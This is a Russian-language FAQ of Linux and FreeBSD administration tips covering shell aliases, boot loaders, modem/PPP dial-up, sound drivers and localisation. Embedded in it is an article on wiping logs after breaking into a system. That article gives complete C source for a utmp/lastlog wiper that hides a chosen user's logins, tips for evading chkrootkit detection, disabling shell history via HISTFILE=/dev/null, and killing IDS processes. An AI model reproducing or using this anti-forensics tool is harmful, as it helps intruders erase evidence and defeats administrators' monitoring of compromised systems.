    Q: Как сделать, чтобы ls --color был по умолчанию ?
    A: Файл $HOME/.bashrc :
    alias ls="ls -F --color=yes"

    Q: Как по core оределить ее автора ?
    A: size core
    gdb -c core
    file core


    Q: Как узнать, что находится в памяти ?
    A: top -n 99999 | less -n это non-interactive mode, а 99999 — число пpоцессов для показа (вместо default, котоpый обычно 20).

    Q: Как убрать beep'ы компьютера ?
    A: В консоли Linux: вводим или добавляем в один из стартовых скриптов:
    setterm -bfreq 0
    В X-ах: в начало файла $HOME/.xinitrc добавляем строку:
    xset -b
    Если его нет в вашем домашнем каталоге, то используем системный:
    /usr/X11R6/lib/X11/xinit/xinitrc
    Копируем его в свой домашний каталог с именем .xinitrc и редактируем.
    ЗЫ: Пользователи KDE или GNOME могут изменить значение уровня beep на ноль в центре управления (control center).

    Q: Как удалить файл командой rm у которого перевый символ имени «-» ?
    A: rm ./-name

    Q: Как русифицировать консольный редактор joe ?
    A: Вначале руссифицируется консоль (консоли в разных системах руссифицируются по разному). Потом редактируем конфигурационный файл. Находится он в каталоге /usr/local/lib, /usr/local/lib/joe или /etc/joe, в зависимости от используемой системы. Копируем файл joerc в свой домашний каталог и переименовываем в .joerc — именно этот файл ищется в первую очередь при загрузке редактора. В первой строке пишем:
    -asis

    Q: Как включить мышку под левую руку ?
    A: Чтобы мышка в X стала заточенной под левую руку нужно подать команду
    xmodmap -e "pointer = 3 2 1"
    Чтобы при каждом запуске X-ов не вводить эту команду, открываем файл $HOME/.Xmodmap (настройки пользователя для клавиатуры и мышки зачитываются из него), если его нет, то копируем системный /usr/X11R6/lib/X11/xinit/.Xmodmap в свой домашний каталог и добавляем строку:
    pointer = 3 2 1
    ЗЫ: Пользователи KDE или GNOME могут изменить порядок кнопок на мышке в центре управления (control center).

    Q: Linux не видит все 128 Mb RAM (только 64). Как заставить видеть остальное ?
    A: Если используется LILO:
    В файле lilo.conf в число команд варианта загрузки операционной системы добавить:
    append="mem=128M"
    Например:
    image=/boot/vmlinuz
    label=Linux
    root=/dev/hda3
    append="mem=128M"

    Если используется GRUB:
    В файле /boot/grub/menu.lst в строку выбора ядра операционной системы для загрузки добавить:
    mem=128m
    Например:
    title Linux
    kernel (hd0,2)/boot/vmlinuz root=/dev/hda3 mem=128m

    Если используется loadlin:
    В файле linux.bat в строку запуска loadlin добавить:
    mem=128m
    Например:
    c:\loadlin\loadlin c:\loadlin\bzImage root=/dev/hda3 mem=128m ro vga=-1

    Q: Как поставить на один HDD: Win98, Win2000, FreeBSD и Linux ?
    A: Ставим все ОС в любой последовательности. В MBR ничего незаписываем (туда автоматически запишется NTloader — с его помощью будем загружать все ОС). LILO ставим на раздел /boot или / (если раздела /boot нет). Далее необходимо в Linux'е или во FreeBSD скопировать загрузочные сектора разделов Linux'а и FreeBSD.Linux:
    dd if=/dev/hda2 of=bootsect.lin bs=512 count=1
    dd if=/dev/hda3 of=bootsect.bsd bs=512 count=1

    FreeBSD:
    dd if=/dev/ad0s6 of=bootsect.lin bs=512 count=1
    dd if=/dev/ad0s7 of=bootsect.bsd bs=512 count=1

    где /dev/hda2 (/dev/ad0s6) — раздел, на котором находится Linux, /dev/hda3 (/dev/ad0s7) — раздел, на котором находится FreeBSD.
    Помещаем файлы bootsect.lin и bootsect.bsd на диск c:, затем добавляем следующие строки в конец файла с:\boot.ini:
    c:\bootsect.bsd="FreeBSD"
    c:\bootsect.lin="Linux"

    Теперь из NTloader'а можно загружать все установленные ОС.

    Q: Как сделать красивое приглашение в bash ?
    A: На мой взглад удобным приглашением является приглашение вида:
    user@computer:current_location>
    Например, это приглашение для пользователя tvo на компьютере darkstar для разных точек текущего положения в дереве каталогов: tvo@darkstar:~> — для домашнего каталога
    tvo@darkstar:/etc/X11> — для каталога /etc/X11
    root@darkstar:/etc> — пользователь root
    В файл $HOME/.profile или /etc/profile добавляем строки:
    PS1="\u@\h:\w>"; export PS1

    Q: Как заставить SAMBA понимать по русски ?
    A: В файл smb.conf добавляем строки:
    character set = KOI8-R
    client codepage = 866


    Q: Как заставить работать звуковуху на кодеке AC97 (VIA8233) ?
    A: Собираем ядро с поддержкой звуковой карты (default).
    Cкачиваем с сайта ALSA файлы alsa-{driver,lib,utils}-xxx.tar.gz (последние стабильные версии этих пакетов).Распаковываем tar-ball'ы: tar zxf alsa-{driver,lib,utils}-xxx.tar.gz
    Компилим и устанавливаем:
    cd alsa-xxxx
    ./configure
    make
    make install

    Проделываем это с каждым пакетом. Затем добавляем следующее в /etc/modules.conf:
    #ALSA Sound alias
    char-major-116 snd
    alias snd-card-0 snd-card-via8233
    alias char-major-14 soundcore
    alias sound-slot-0 snd-card-0
    alias sound-service-0-0 snd-mixer-oss
    alias sound-service-0-1 snd-seq-oss
    alias sound-service-0-3 snd-pcm-oss
    alias sound-service-0-8 snd-seq-oss
    alias sound-service-0-12 snd-pcm-oss
    options snd snd_cards_limit=1

    Теперь загружаем модуль snd-card-via8233:
    /sbin/modprobe snd-card-via8233
    И добавляем эту строку в загрузочный скрипт.

    Q: У меня не запускаются Х-ы не от root'а в Debian 3.0r0. Что делать ?
    A: В файле/etc/X11/Xwrapper.config заменить строку:
    allowed_users=rootonly
    на строку:
    allowed_users=console

    Q: Как создать iso-образ ?
    A: Складываем все, что надо записать в отдельный каталог, затем:
    mkisofs -R -J -V "label" -jcharset koi8-r -o image_name.iso /path/to/dir
    где:
    image_name.iso — имя файла iso-образа
    /path/to/dir — полный путь к каталогу
    label — метка iso-образа

    Q: Как примонтировать iso-образ в FreeBSD 5.x ?
    A: Монтируем:
    mdconfig -a -t vnode -f /path/to/dir/image_name.iso -u 0
    mount -t cd9660 /dev/md0 /mnt/iso
    Размонтируем:
    umount /mnt/iso
    mdconfig -d -u 0


    Q: А как откомпилировать Linux-ядро?
    A:  Для начала нужно найти свежее ядрышко. Купишь ли ты "Хакер" с диском или скачаешь его с ftp’шника ftp://ftp.kernel.org/pub/linux/kernel/- неважно. Главное, чтобы оно было "свежим". После необходимо его распаковать в /usr/src/linux. Для самых маленьких - это можно сделать так: tar xvjf linux-x.x.x.tar.bz2 (в случае, если ты скачал в tar.bz2 архиве). На этом самая легкая часть закончена. Предстоит нелегкая процедура создания конфига. Разработчики предлагают 4 варианта: текстовый консольный конфиг (для запуска надо набрать make config), графический консольный (make menuconfig), графический x-виндовый (make xconfig), восстановление старого варианта конфига из .config (make oldconfig). Выбор за тобой. Я, например, всегда пользуюсь первым. Чтобы грамотно отвечать на вопросы системы, советую обратиться к мануалам и /usr/src/linux/Documentation, так как для объяснения всех нюансов понадобится целая статья. После того, как конфиг готов, в /usr/src/linux следует последовательно набрать: make dep, make bzImage, затем make modules_install, и, наконец, make modules. И все, ядро готово. Осталось заставить его грузиться. Для этого добавь в /etc/lilo.conf следующее:

    image=/boot/kernel

    label=linux-x.x.x

    где /boot/kernel - предварительно скопированный файл /usr/src/linux/arch/i386/boot/bzImage.


    Q: У меня стоит Mandrake 7.0 Вроде бы все хорошо, но есть одна проблема. Я не знаю, как уменьшить интервал времени до гашения монитора.
    A: Нет ничего проще! В файл /etc/sysconfig/console/setterm допиши следующее:
    -blank <количество минут до гашения монитора>. Если значение этого параметра равно «0» - монитор не гаснет совсем.


    Q: Скроллинг мыши в Linux’e не работает?
    A: Решить эту проблему очень просто. Необходимо лишь поправить секцию «Keyboard» или «InputDevice» конфигурационного файл Xfree (обычно находится здесь - /etc/X11/XF86config). Если Xfree версии 3.3.*, то секция должна выглядеть примерно так:
    Section "Pointer"
    Protocol "IMPS/2"
    Device "/dev/mouse"
    ZAxisMapping 4 5
    Buttons 3
    EndSection


    Если же Xfree версии 4.0.*, что более вероятно, то так:
    Section "Pointer"
    Protocol "IMPS/2"
    Device "/dev/mouse"
    Buttons 5
    ZAxisMapping 4 5
    EndSection


    Hастройкa модемного подключения с "нуля".

    Сразу скажу, что речь идет о настройке обычного "железного" внешнего модема (U.S.Robotics 56K Faxmodem) на последовательном порту, который беспроблемно определяется любым не-Windows.

         Отправная точка для дальнейших упражнений - самостройный Base Linux в объеме, примерно соответствующем LFS, но несколько урезанном за счет отказа от Texinfo и соответствующей документации, с системой инициализации в BSD-стиле, заимствованной из дистрибутива CRUX.

         Первое, что требуется для использования модема, - поддержка ядром системы. Для этого при конфигурировании оного отправляемся в пункт Network device support, где сначала включаем общую поддержку сетевых устройств (Network device support), после чего отмечаем пункты Dummy net driver support и PPP (point-to-point protocol) support. Внутри последнего требуется также включить поддержку PPP через асинхронный последовательный порт (PPP support for async serial ports), сиречь наш обычный COM, и, вероятно, одного из протоколов компрессии (PPP Deflate compression или PPP BSD-Compress compression), в зависимости от того, какой поддерживается провайдером (в сомнительных случаях можно включить оба).

         Все эти опции конфигурации ядра могут быть как встроены в него, так и подключаться в качестве загружаемых модулей. Какой способ выбрать - вопрос спорный, я, во избежание лишнего головоломства, встраиваю в ядро все, кроме протоколов компресии (их резонно держать модулями).

         Далее требуется собрать сам пакет ppp (текущая версия - 2.4.1). Ничего спецфичного в этом нет - разворачиваем тарбалл, переходим в образовавшийся каталог, читаем соответствующий README (в нашем случае - README.linux) и выполняем три сакраментальных деяния - ./configure (опции --help при этом не предусмотрено, суть конфигурирования сводится просто к установлению ссылок на Make-файлы, соответствующие данной ОС), make и make install. В результате мы получаем несколько исполнимых файлов /usr/sbin/ppp*, относящихся собсьвенно к ppp-демону, и команду /usr/sbin/chat, используемую для дозвона, а также три пустых конфигурационных файла в каталоге /etc/ppp - chap-secrets, options и pap-secrets.

         А теперь, как обычно в мире Unix, средь мира дольного для сердца вольного - было два пути. Первый - просто отредактировать файлы конфигурации демона pppd в текстовом редакторе (и создать недостающие). Благо, например, на сайте моего провайдера имеются примеры таковых для Unix-систем. Однако это, во-первых, показалось мне ленивым, во-вторых, я не очень понял сути процесса, хотя он и подробно (на мой взгляд - излишне подробно) описан в соответствующем HOW-TO. А главное, за короткий период своей онлайновой жизни я успел привыкнуть к звонилке wvdial, выполняющей к тому же функцию опознавателя модема и ppp-конфигуратора. И потому я избрал другой путь - установку wvdial.

         Полноты картины для замечу, что есть и другие средства автоматического (или полуавтоматического) конфигурирования ppp-соединения. Одно из них, заимствованное из Debian, - это pppsetup, используемый, например, в LiveCD Lonix. Она задает несколько вопросов, ответы на которые достаточно очевидны, на основе чего и генерит требуемые файлы конфигурации и сценарии дозвона, устанавливая заодно и команды инициализации модема. Однако для ее сборки наверняка потребовались бы какие-нибудь дополнительные компоненты, разбираться с которыми у меня не было ни малейшего желания. И, повторяю, общение с wvdial'ом не вызывало у меня никакого стремления искать добра от добра - очень уж он прост в настройке и использовании.

         Но вот сборка wvdial'а неожиданно оказалась не вполне тривиальной задачей. Для начала он требует библиотеки wvstreams, что само по себе проблемой не было. Однако на соответствующем сайте она окзалась представленной двумя версиями - стабильной (3.70) и разрабатываемой (wvstreams-3.73f0-2003-05-02). Для начала я скачал и развернул первую. Никакого конфигурирования в ней не требовалось (да и скрипта configure не было, внести необходимые изменения, типа префикса каталога для инсталляции, можно было только непосредственно в Makefile) - достаточно, видимо, было выполнить make и make install. Однако попытка свершить первое действо почти мгновенно привела к выпадению с не вполне внятным сообщением об ошибке, причины которой я поначалу не понял.

         Пришлось взяться за разрабатываемую версию. В ней сценарий конфигурирования имелся (вернее, автоматически генерировался при первом запуске make), однако его выполнение оборвалось на требовании OpenSSL, которого у меня, естественно, не было. И хотя в ./configure (согласно выводу в ответ на опцию --help) как-будто бы имелась опция --without-openssl, без OpenSSL библиотека конфигурироваться не желала.

         Не увенчалась успехом и попытка соблюсти десятую заповедь компьтерщика - если после выполнения предыдущих девяти заповедей ничего не вышло, прочесть наконец документацию. Файл README содержал одну строчку, гласящую, что подробная документация имеется в каталоге Docs. Если же он пуст (а он именно пуст и был) - предлагалось сгенерить ее командой make doxyfile. Однако в ответ на нее рабостно рапортавалось, что исполнение команды make невозможно без определения переменной окружения по имени WVPACKAGES. Изунать о смысле которой, вероятно, можно было из той самой документации...

         В общем, развернул я OpenSSL. Почти обычным образом - ./configure, make, make install, причем обязательно с префиксом /usr, в /usr/local wvstreams находить его отказывался категорически. После чего наконец выполнил /configure и стал размышлять о великой сермяжной правде, скрытой в переменной WVPACKAGES. Можно было предполагать, что она должнва была содержать список пакетов, подлежащих сборке. А в качестве имен пакетов можно было рассматривать подкаталоги в дереве исходников wvstreams, носивших имена типа ipstreams, linuxstreams, oggvorbis и т.д. Просмотр их содержимого привел меня к мысли, что для моих целей (сборки wvdial) доавольно было бы ipstreams, но и linuxstreams для страховки не казался лишним. В итоге я определил переменную

    $ export WVPACKAGES="ipstreams,linuxstreams"

    после чего наконец, требуемая мне библиотека благополучно собралась.

         Со сборкой wvdial никаких проблем не возникло - прошла комбинацией из двух стандартных действ. Осталось его сконфигурировать - командой

    $ wvdialconf /etc/wvdial.conf

         Которая определяет модем и записывает строку его инициализации в указанный файл /etc/wcdial.conf. Куда остается только добавить указание на пульсовый набор

    Dial Command = ATDP

    телефон для дозвона к провайдеру

    Phone = 1234567

    логин и пароль для авторизации

    Username =
    Password =

    Казалось бы, можно запускать звонилку:

    $ wvdial

         Ан не тут-то было. wvdial дозванивался по указанному номеру вполне справно, устанавливал соединение, отсылал учетные данные, авторизовывался на провайдерском сервере, запускал pppd, присваивая ему номер процесса - и по прошедствии пары-тройки секунд соединение разрывалось с выдачей кода ошибки (code exit) 2. Правда, вежливо рекомендуя посмотреть, что это такое, в man pppd. Из какового следовало, что exit code 2 возникает при обнаружении противоречивых опций (или что-то в этом роде).

         О природе этой нехорошей опции оставалось только гадать. Или, как это принятов хорошем обществе, почитать в man (5) wvdial.conf. Где и обнаружилось, что для ppp версии 2.3.0 и выше wvdial должен создавать файл /etc/ppp/peers/wvdial, без которого работать не собирается. Каталога /etc/ppp/peers у меня и в помине не было, и никакого такого файла не образовалось и после его создания и перезапуска wvdialconf.

         Благо, в той же man-странице нашлось решение этой проблемы: достаточно было внести в файл wvdial.conf строку, запрещающую использование файла /etc/ppp/peers/wvdial:

    New PPPD = no

         После чего, наконец-то, удалось дозвониться без всяких проблем. К чему я столь подробно описываю столь частную задачу? Просто для того, чтобы не забывать о подводных камнях Linux-самостроя, во-первых. А во-вторых - дабы еще раз отдать должное труду сборщиков дистрибутивов, благодаря которому большинство пользователей Linux'а об этих подводных камнях просто не подозревает.


    Q. Запускаясь, Sendmail примерно на минуту подвисает и тем самым тормозит загрузку системы. Плюс к этому подключение к sshd происходит невероятно долго?
    A.Sendmail не может произвести резольвинг адресов сетевых интерфейсов: пропиши полное доменное имя в /etc/hosts:

    # vi /etc/hosts
    192.168.1.1 hostname.domain.ru hostname
    и убедись, что в файле /etc/resolv.conf присутствует запись «order hosts,bind» (в Linux) или «lookup file bind» (в *BSD). Чтобы нормализовать работу по протоколу SSH, добавь строчку «UseDNS no» в конфиг /etc/ssh/sshd_config:
    # echo "UseDNS no" > > /etc/ssh/sshd_config
    После перезагрузки все будет OK.


    Чистка логов в Linux/FreeBSD
    Во многих статьях, описывающих взломы какой-нибудь системы, часто автор пишет что после проникновения надо заметать следы. Далее обычно следуют слова "качаем такую-то прогу с сайта, компилим,запускаем...". А исходники просмотреть? А кто сказал, что прога установится на эту ось? Ну лана, это ещё можно терпеть. Но как автор описывает "различные логвайперы под UNIX" (в Хакере кажись была статья про это =)... Такое "описание" выглядит мягко говоря глупо. Автор говорит только как эту прогу компилить и какие она чистит логи... Минусы конечно он не упомянет. В общем сейчас я расскажу о затирании логов в linux, freebsd.
    Contents:
    - utmp/wtmp/lastlog
    - messages, auth.log and syslogd configuration
    - shells history
    - aditional logging toolz
    --------------[ part I ]
    Итак, сразу стоит сказать, какими прогами используются бинарные логи:
    Log file Progs
    ~~~~~~~~~~~~~ ~~~~~~~~~~~
    /var/run/utmp w/who
    /var/log/wtmp last
    /var/log/lastlog lastlog

    А теперь о том, что в них хранится:
    UTMP - инфа о пользователях, работающих в данный момент.
    WTMP - тоже, что и utmp, но инфа вообще о всех входах в систему с момента создания файла.
    LASTLOG - инфа о последнем входе для каждого пользователя.

    Конечно изложил грубовато, но идея я надеюсь ясна. Теперь рассмотрим форматы этих логов. Для начала UTMP/WTMP (они одного типа) в Linux:
    struct utmp
    {
    short int ut_type;
    pid_t ut_pid;
    char ut_line[UT_LINESIZE]; /* терминальная линия (i.e. "tty1") */
    char ut_id[4];
    char ut_user[UT_NAMESIZE]; /* имя юзера */
    char ut_host[UT_HOSTSIZE]; /* хост, с которого он зашёл */
    struct exit_status ut_exit;
    long int ut_session;
    struct timeval ut_tv;
    int32_t ut_addr_v6[4];
    char __unused[20];
    };
    А вот как это выглядит в FreeBSD:
    struct utmp {
    char ut_line[UT_LINESIZE]; /* линия */
    char ut_name[UT_NAMESIZE]; /* имя юзера */
    char ut_host[UT_HOSTSIZE]; /* хост */
    int32_t ut_time;
    };
    Тут надеюсь тоже всё понятно. Нас будут интересовать значения ut_name/ut_user (в freebsd), ut_line и ut_host. Теперь стоит сказать о структуре lastlog. Вот она в
    Linux:
    struct lastlog
    {
    __time_t ll_time;
    char ll_line[UT_LINESIZE];
    char ll_host[UT_HOSTSIZE];
    };
    А в фряхе так:
    struct lastlog {
    int32_t ll_time;
    char ll_line[UT_LINESIZE];
    char ll_host[UT_HOSTSIZE];
    };
    Как видно в структурах не указано имя юзера. Просто оно не нужно. Если скажем мы представим файл lastlog как текстовый, причём каждая строка - запись, то запись пользователя dude с uid == 31337 будет в строке 31338. Всё просто.
    Итак, мы знаем какие файлы используются и какой в них формат. Нас не интересует как они закодированы. Работать с ними будем просто через read/write:
    int l;
    struct utmp leet; /* в эту структуру будем считывать записи */

    l = open(LOGFILE,O_RDONLY);

    while( read(l, leet, sizeof(leet)) >0 ){
    ...
    }
    close(l);

    Просто загоняем инфу из файла в структуру. А далее можем её обрабатывать:
    leet.ut_user='dude'; /* меняем имя пользователя в структуре */
    write(f, leet, sizeof(leet)); /* и записываем её */
    В конце будет исходник с комментариями. А пока посмотрим как править lasllog. Мы не можем удялять оттуда записи, т.к. каждая соответствует uid'у юзера. Нам стоит просто забить значения пробелами (нулями не стоит, т.к. это обычно детектится):
    lst.ll_time=0;
    strcpy(lst.ll_line," ");
    strcpy(lst.ll_host," ");
    Рассмотрим всё это на практике (это исходник простого логвайпера):
    #define UTMPF "/var/run/utmp" /* тут определяем где лежат логи */
    #define LASTLOGF "/var/log/lastlog"

    #include <stdio.h>
    #include <unistd.h>
    #include <utmp.h> /* тут описаны структуры */
    #include <fcntl.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <pwd.h>

    #ifdef _FREEBSD_ /* для совместимости с FreeBSD */
    #define UTUSR ut_name /* just look `man utmp` */
    #else
    #include <lastlog.h> /* в линухе структура lastlog в отдельном фале */
    #define UTUSR ut_user
    #endif

    void usage (char *pname);

    int main (int argc, char *argv[])
    {
    int l,n,t;
    struct utmp usr; /* структура для обработки utmp/wtmp записей */
    struct lastlog lst; /* структура для обработки записей в файле lastlog */
    struct passwd *psw;
    char cmd[40];

    printf(" WIPEr v 1.0 (Linux and FreeBSD support) by JLx\n");

    if (argc < 3){

    usage(argv[0]);
    exit(0);
    }
    if (argc >= 4){ t=1;}

    /************* UTMP **************/
    if ((l = open(UTMPF,O_RDONLY)) < 0 ) /* открываем логфайл в режиме read_only */
    {
    printf("[-] Cant open %s!\n",UTMPF);
    exit(-1);
    }
    n = open("ftmp",O_WRONLY | O_CREAT); /* открываем новый файл, в который будем писать изменённый вариант */
    while( read(l,&usr, sizeof(usr)) >0 ) /* вот, заполняем структуру... */
    {
    /* далее идёт проверка имени юзера и линии терминала... */
    if ( (strcmp(usr.UTUSR,argv[1]) == 0) && (strcmp(usr.ut_line,argv[2]) == 0)){

    /* если юзер тот, инфу которого мы хотим выдрать... */

    if (t==1){ /* ... если нужно проверяем хост */

    if (!(strcmp(usr.ut_host,argv[3])==0))
    write(n, &usr, sizeof(usr)); /* если хост не наш, то записываем */

    }

    /* если хост проверять не надо, то просто не записываем структуру... */

    } else {
    /* если юзер не тот, которого мы ищем, то записываем без изменений */
    write(n,&usr,sizeof(usr));
    }

    }

    close(l);
    close(n);

    /* теперь у нас файл ftmp, это изменённый /var/run/utmp */

    system("cat ftmp > /var/run/utmp; rm ftmp"); /* заменяем старый лог на новый */

    printf("[+] utmp done\n");

    /* Теперь обработка lastlog... */

    if ( (l = open(LASTLOGF,O_RDWR)) < 0 )
    {
    printf("[-] Cant open %s!\n",LASTLOGF);
    exit(-1);
    }

    psw = getpwnam(argv[1]); /* нам нужен uid пользователя, которого мы хотим спрятать  ^^^^^^^^^^^^^ если это не понятно, то `man getpwnam` */


    lseek(l, sizeof(lst)*psw->pw_uid, SEEK_SET); /* ищем запись под номером == Uid (смещение 0) */
    read(l, &lst, sizeof(lst)); /* и считываем её... */

    lst.ll_time=0; /* обнуляем время */
    strcpy(lst.ll_line," "); /* а хост и линию забиваем пробелами */
    strcpy(lst.ll_host," ");

    lseek(l, sizeof(lst)*psw->pw_uid, SEEK_SET); /* снова ищем эту запись... */
    write(l, &lst, sizeof(lst)); /* ... и заменяем её новой */
    close(l);

    sprintf(cmd,"chmod 644 %s",LASTLOGF);
    system(cmd);

    printf("[+] lastlog done\n"); /* Вот так, всё довольно просто =) */

    }

    void usage (char *pname)
    {

    printf("\n Usage: %s user tty <host>\n\n",pname);

    }
    А вот если бы мы забивали структуры в этих файлах нулями, то нас мог бы засечь злобный админ. К примеру Chkrootkit имеет утилиты для обнаружения таких записей в файлах wtmp/lastlog. Вот в основном всё. Я не описал логи wtmpx/utmpx и pacct/acct т.к. во-первых, они редко используются, а во-вторых, кто заинтересовался,тот сам найдёт всё необходимое..
    --------------[ part II ]
    Теперь на очереди текстовые логи. Ну тут проблем быть не должно. Дира, где они лежат почти всегда - /var/log. Если не понятно как работать с текстовыми файлами то советую почитать мануалы. Идея их такова - висит syslogd. Мы передаём ему то,что нужно записать и тип сообщения. А он решает, в какой файл это совать. Он смотрит в файл /etc/syslog.conf, читает оттуда куда запихивать такое сообшение и собственно выполняет это. Вот например то, как выглядит syslog.conf в mdk-linux:
    # Various entry
    auth,authpriv.* /var/log/auth.log
    *.*;auth,authpriv.none -/var/log/syslog
    user.* -/var/log/user.log

    # Log anything (except mail) of level info or higher.
    # Don't log private authentication messages!
    *.info;mail.none;authpriv.none -/var/log/messages

    # The authpriv file has restricted access.
    authpriv.* /var/log/secure

    # Mail logging
    mail.=debug;mail.=info;mail.=notice -/var/log/mail/info
    mail.=warn -/var/log/mail/warnings
    mail.err -/var/log/mail/errors
    <skipped>

    Тоесть слева стоит тип сообщения, а справа - куда кидать полученные записи. Если интересно, советую почитать `man syslog.conf`. Просто не реально в одной статье рассказать об этом. А теперь то, чего все так боятся - перенаправление логов на другой хост. Чтобы это активизировать, нужно вместо имени файла записать вот что: @hostname. Имя хоста должно быть прописано в /etc/hosts. Вот пример конфига к syslog:
    *.* @megalohost
    Теперь все логи системы идут на хост megalohost. Не очень приятно? Бывают такие ещё вещи:
    # The tcp wrapper loggs with mail.info, we display
    # all the connections on tty12
    #
    mail.=info /dev/tty12
    Тут все месаги о подключениях к почтовым демонам идут на терминал 12. Короче тут совет один - `man syslog.conf`.
    --------------[ part III ]
    Да, не стоит забывать о таких простых вещах. Будет глупо, если мега-хаксор всё затрёт, а хистори забудет. Админ умрёт со смеху =) Тут мало что нового можно сказать. Если шелл - bash, то его хистори можно увидеть в переменной окружения $HISTFILE. Соответственно, и изменить это довольно просто:

    $ export HISTFILE=/dev/null

    А если в системе основной шелл - sh/csh/tcsh (обычно в *bsd), то хистори будет в $HOME/.history.
    --------------[ part IV ]
    Вот что может представлять серъёзную угрозу, так это дополнительные средства логирования. Обычно они проверяют системные логи, и как только находят что-либо подозрительное, они стучат на мыло админу или отправляют логи по сетке. Но вот что обчно выдаёт такие софтины - они не меняют имя процесса. Тоесть хакер глядит список процессов и находит там что-то похожее на ids/logging_tool. Сразу же идёт в ход `kill -9 $PID_OF_FUCKIN_IDS`. И обычно такой софт падает, немного последив в логах, что потом элементарно затирается.
    Вывод: смотри список процессов и проверяй все подозрительные.


    Q.Kто подскажет причину неподключения к прову с помощью программы kppp? ВЫдается такая ошибка:"Нет несущей"

    A.- Может дело в его особых командах. Вот мой 3Com OfficeConnect не пашет (пишет "инициализация модема" и повисает) если в настройках команд, в строке инициализации вместо ATZ не прописать AT&F1S69=77. Может у тебя подобная фигня? У твоего модема тоже есть какие то левые команды, не поставленные по умолчанию?

    - Для начала введите в консоле man pppd и man chat, прочитайте их полностью, прочитали, теперь еще раз прочтите чтобы вопросы не возникли ;-). Кто не понял со второго раза объясняю вкратце, chat звонит, pppd соединяет и все это вместе нужно скомбинировать чтобы выйти в инет.
    План действий (все под root)
    В файле /etc/resolv.conf. DNS провайдера. Должно быть что наподобие этого
    nameserve 195.5.61.70
    nameserver 195.5.61.68
    Создайте файл /etc/ppp/peers/isp с таким содержанием:
    connect '/usr/sbin/chat -v -f /etc/ppp/chat-isp'
    #login
    name da001322
    Заполните файл /etc/ppp/chat-isp таким содержанием
    ABORT "NO CARRIER"
    ABORT "BUSY"
    ABORT "Username/Password Incorrect"
    "" "at"
    OK "atz"
    OK "atd7714900" #телефон провайдера
    "CONNECT" ""
    В файл /etc/ppp/pap-secrets добавьте
    login-ваш * password-ваш *
    Пример:
    name da001322 * password *
    В файл /etc/ppp/option должны быть прописаны такие строки:
    #Ваш com1 порт (если надо com2 это будет ttyS1)
    ttyS0 57600 noauth crtscts defaultroute noipdefault debug lock
    Вот и все . Чтобы вызвать соединение, в консоле из под root, введите pppd call isp. Вообше то можно настроить все это в одном файле, так многие и делают, но мне не лень набрать pppd call isp.


    Q: Помогите разобраться со следующим: на моей материнской плате (ASUS) стоит встроенный контролер IDE RAID. Нужно создать RAID 1 массив и заставить Linux RedHat его корректно понимать. Установка системы со скачанными драйверами проходит успешно. Но после перезагрузки начинают сыпаться ошибки: «root fs not found», «Cannot open root device», «Unable to mount root fs on», ну и т.п.
    А: Скорее всего, ядру не хватает модуля твоего контроллера, соответственно, оно и грузится. Поэтому в срочном порядке следует найти необходимый модуль и запихать его в ядро. Чтобы объяснить все подробно, не хватит и целой статьи, поэтому ограничусь лишь советом прочитать многочисленные мануалы по этой теме. Правда, возможен и другой вариант. Год назад столкнулся с ситуацией, когда via’ские драйверы поставлялись с кривым компонентом, поэтому система на RAID контроле работать ну никак не хотела.


    Q.Я хочу установить на второй раздел винта Линукс. Я уже форматнул второй (логический) диск под Linux Ext2. Правильно ли я сделал? Какую версию Линукса можно поставить для домашнего использования?

    A.Раздел, в принципе, без разницы под что форматировать - при установке инсталлятор тебя спросит, куда ставить систему, и что и как форматировать. Лично я рекомендую использовать ReiserFS - она очень шустрая. А ext2 - анахронизм прошлого века. Насчет дистрибутива - в принципе, все они чем-то похожи. У меня дома третий год стоит Debian testing/unstable - жалоб нет.


    Q: Во время установки Linux RedHat 9.0 почему-то не определилась моя сетевая карта (производитель – Compex)?
    A: Судя по всему, «красная шапка» по умолчанию не поддерживает твою сетевушку, иначе девайс был бы отконфигурирован во время установки. Хотя бывают и исключения. Впрочем, это можно легко проверить, заглянув в список поддерживаемого железа на сайте разработчиков. Если твой девайс в нем все-таки присутствует, тогда решение проблемы сводится к редактированию файла /etc/modules.conf, в котором нужно прописать необходимый модуль и связать его с именем сетевого интерфейса. Подробнее справку по этому поводу можно получить следующим образом:
    man modules.conf
    man modprobe
    В случае, если в списке поддерживаемого оборудования твоей сетевушки не наблюдается, то проблем с установкой может быть значительно больше. Начать поиски подходящего драйвера, как и полагается, стоит с сайта производителя. Вероятность того, что что-нибудь найдешь, достаточно велика. Там же ищи и мануалы по его установке. Как только корректный модуль будет прописан в системе, девайс нужно будет отконфигурировать с помощью ipconfig’а.


    Q: Недавно установил SlackWare 9.1, и сразу возникли проблемы с русификацией.
    A: Народные умельцы предложили решить эту проблему с помощью следующего скрипта:

    if [ notset.$DISPLAY != notset. ]; then

    echo "Welcome to xterm"

    else

    if [ $TERM = xterm ]; then

    # DISPLAY=:0.0

    echo "Welcome to xterm"

    else

    loadkeys /usr/share/kbd/keymaps/i386/qwerty/ru1.map.gz

    setfont /usr/share/kbd/consolefonts/Cyr_a8x16.psfu.gz

    mapscrn /usr/share/kbd/consoletrans/koi2alt

    echo -ne "\033(K" # the magic sequence

    echo "Use the right Alt key to switch the mode..."

    fi

    fi

    #

    export LANG=ru_RU.KOI8-R

    export LC_ALL=ru_RU.KOI8-R

    # export NLSPATH=/usr/share/locale/ru_RU/

    export LESSCHARSET=koi8-r

    export LC_CTYPE=ru_RU.KOI8-R

    export LC_NUMERIC=POSIX

    #

    export COLORTERM=

    export TERMINFO=/usr/lib/terminfo

    #

    # For Russian GhostScript

    #

    export GS_OPTIONS=-dNOPLATFONTS

    export GS_PATH=/usr/share/ghostscript/fonts

    echo

    # fortune fortunes fortunes2 linuxcookie

    # fortune all

    Содержимое этого листинга необходимо записать в файл russian.sh, после чего скопировать его в каталог /etc/profile.d/. Далее выдаем скрипту права на выполнение и радуемся жизни:

    $ chmod +x russian.sh

    seo & website usability inet html hardware faq memory video cpu hdd mainboard faq printer & scaner modem mobiles hackzone
